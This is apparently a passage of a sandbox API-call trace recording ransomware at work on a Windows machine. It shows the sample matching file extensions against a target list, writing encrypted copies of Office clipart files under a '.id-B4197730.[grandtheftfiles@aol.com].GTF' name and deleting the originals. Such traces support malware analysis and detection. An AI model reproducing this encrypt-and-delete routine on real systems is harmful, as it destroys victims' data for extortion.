	[0087.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.991] lstrlenW (lpString=".xls") returned 4
	[0087.991] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.991] lstrlenW (lpString=".xlsx") returned 5
	[0087.991] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.991] lstrlenW (lpString=".ppt") returned 4
	[0087.991] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0087.991] lstrlenW (lpString=".zip") returned 4
	[0087.991] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.991] lstrlenW (lpString=".rar") returned 4
	[0087.991] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.991] lstrlenW (lpString=".bz2") returned 4
	[0087.991] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.991] lstrlenW (lpString=".7z") returned 3
	[0087.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0087.991] lstrlenW (lpString=".dbf") returned 4
	[0087.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0087.992] lstrlenW (lpString=".1cd") returned 4
	[0087.992] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0087.992] lstrlenW (lpString=".jpg") returned 4
	[0087.992] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.992] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.992] lstrlenW (lpString="FD01191_.WMF") returned 12
	[0087.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0087.992] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=3964) returned 1
	[0087.992] CloseHandle (hObject=0x368) returned 1
	[0087.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x220
	[0087.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0087.992] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.993] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0087.993] GetLastError () returned 0x0
	[0087.993] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xf7c, lpOverlapped=0x0) returned 1
	[0087.995] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xf80, lpOverlapped=0x0) returned 1
	[0087.996] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.996] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.997] SetEndOfFile (hFile=0x390) returned 1
	[0087.997] CloseHandle (hObject=0x390) returned 1
	[0087.997] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.997] SetEndOfFile (hFile=0x368) returned 1
	[0087.998] CloseHandle (hObject=0x368) returned 1
	[0087.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.998] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 1
	[0087.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0087.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0087.998] lstrlenW (lpString=".doc") returned 4
	[0087.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.998] lstrlenW (lpString=".docx") returned 5
	[0087.998] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.998] lstrlenW (lpString=".pdf") returned 4
	[0087.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.998] lstrlenW (lpString=".xls") returned 4
	[0087.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.998] lstrlenW (lpString=".xlsx") returned 5
	[0087.998] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.998] lstrlenW (lpString=".ppt") returned 4
	[0087.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0087.998] lstrlenW (lpString=".zip") returned 4
	[0087.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.999] lstrlenW (lpString=".rar") returned 4
	[0087.999] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.999] lstrlenW (lpString=".bz2") returned 4
	[0087.999] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.999] lstrlenW (lpString=".7z") returned 3
	[0087.999] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0087.999] lstrlenW (lpString=".dbf") returned 4
	[0087.999] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0087.999] lstrlenW (lpString=".1cd") returned 4
	[0087.999] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0087.999] lstrlenW (lpString=".jpg") returned 4
	[0087.999] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0087.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0087.999] lstrlenW (lpString=".doc") returned 4
	[0087.999] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.999] lstrlenW (lpString=".docx") returned 5
	[0087.999] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.999] lstrlenW (lpString=".pdf") returned 4
	[0087.999] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.999] lstrlenW (lpString=".xls") returned 4
	[0087.999] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.999] lstrlenW (lpString=".xlsx") returned 5
	[0087.999] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.999] lstrlenW (lpString=".ppt") returned 4
	[0087.999] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0087.999] lstrlenW (lpString=".zip") returned 4
	[0087.999] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.999] lstrlenW (lpString=".rar") returned 4
	[0087.999] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.999] lstrlenW (lpString=".bz2") returned 4
	[0087.999] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.000] lstrlenW (lpString=".7z") returned 3
	[0088.000] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0088.000] lstrlenW (lpString=".dbf") returned 4
	[0088.000] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0088.000] lstrlenW (lpString=".1cd") returned 4
	[0088.000] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0088.000] lstrlenW (lpString=".jpg") returned 4
	[0088.000] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.000] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.000] lstrlenW (lpString="FD01193_.WMF") returned 12
	[0088.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0088.001] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=1160) returned 1
	[0088.001] CloseHandle (hObject=0x368) returned 1
	[0088.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x220
	[0088.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0088.001] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.001] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.001] GetLastError () returned 0x0
	[0088.001] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x488, lpOverlapped=0x0) returned 1
	[0088.003] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x490, lpOverlapped=0x0) returned 1
	[0088.006] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.006] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.006] SetEndOfFile (hFile=0x390) returned 1
	[0088.006] CloseHandle (hObject=0x390) returned 1
	[0088.006] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.006] SetEndOfFile (hFile=0x368) returned 1
	[0088.007] CloseHandle (hObject=0x368) returned 1
	[0088.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.007] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 1
	[0088.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0088.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0088.008] lstrlenW (lpString=".doc") returned 4
	[0088.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.008] lstrlenW (lpString=".docx") returned 5
	[0088.008] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.008] lstrlenW (lpString=".pdf") returned 4
	[0088.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.008] lstrlenW (lpString=".xls") returned 4
	[0088.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.008] lstrlenW (lpString=".xlsx") returned 5
	[0088.008] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.008] lstrlenW (lpString=".ppt") returned 4
	[0088.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0088.008] lstrlenW (lpString=".zip") returned 4
	[0088.008] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.008] lstrlenW (lpString=".rar") returned 4
	[0088.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.008] lstrlenW (lpString=".bz2") returned 4
	[0088.008] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.008] lstrlenW (lpString=".7z") returned 3
	[0088.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0088.008] lstrlenW (lpString=".dbf") returned 4
	[0088.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0088.008] lstrlenW (lpString=".1cd") returned 4
	[0088.008] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0088.008] lstrlenW (lpString=".jpg") returned 4
	[0088.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0088.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0088.009] lstrlenW (lpString=".doc") returned 4
	[0088.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.009] lstrlenW (lpString=".docx") returned 5
	[0088.009] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.009] lstrlenW (lpString=".pdf") returned 4
	[0088.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.009] lstrlenW (lpString=".xls") returned 4
	[0088.009] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.009] lstrlenW (lpString=".xlsx") returned 5
	[0088.009] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.009] lstrlenW (lpString=".ppt") returned 4
	[0088.009] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0088.009] lstrlenW (lpString=".zip") returned 4
	[0088.009] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.009] lstrlenW (lpString=".rar") returned 4
	[0088.009] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.009] lstrlenW (lpString=".bz2") returned 4
	[0088.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.009] lstrlenW (lpString=".7z") returned 3
	[0088.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0088.009] lstrlenW (lpString=".dbf") returned 4
	[0088.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0088.009] lstrlenW (lpString=".1cd") returned 4
	[0088.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0088.009] lstrlenW (lpString=".jpg") returned 4
	[0088.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.009] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.010] lstrlenW (lpString="FD01196_.WMF") returned 12
	[0088.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0088.010] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=2332) returned 1
	[0088.010] CloseHandle (hObject=0x368) returned 1
	[0088.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x220
	[0088.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0088.010] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.010] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.011] GetLastError () returned 0x0
	[0088.011] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x91c, lpOverlapped=0x0) returned 1
	[0088.012] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x920, lpOverlapped=0x0) returned 1
	[0088.016] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.016] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.016] SetEndOfFile (hFile=0x390) returned 1
	[0088.016] CloseHandle (hObject=0x390) returned 1
	[0088.016] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.016] SetEndOfFile (hFile=0x368) returned 1
	[0088.017] CloseHandle (hObject=0x368) returned 1
	[0088.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 1
	[0088.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0088.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0088.018] lstrlenW (lpString=".doc") returned 4
	[0088.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.018] lstrlenW (lpString=".docx") returned 5
	[0088.018] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.018] lstrlenW (lpString=".pdf") returned 4
	[0088.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.018] lstrlenW (lpString=".xls") returned 4
	[0088.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.018] lstrlenW (lpString=".xlsx") returned 5
	[0088.018] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.018] lstrlenW (lpString=".ppt") returned 4
	[0088.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0088.018] lstrlenW (lpString=".zip") returned 4
	[0088.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.018] lstrlenW (lpString=".rar") returned 4
	[0088.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.018] lstrlenW (lpString=".bz2") returned 4
	[0088.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.018] lstrlenW (lpString=".7z") returned 3
	[0088.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0088.018] lstrlenW (lpString=".dbf") returned 4
	[0088.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0088.018] lstrlenW (lpString=".1cd") returned 4
	[0088.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0088.018] lstrlenW (lpString=".jpg") returned 4
	[0088.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0088.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0088.018] lstrlenW (lpString=".doc") returned 4
	[0088.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.018] lstrlenW (lpString=".docx") returned 5
	[0088.019] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
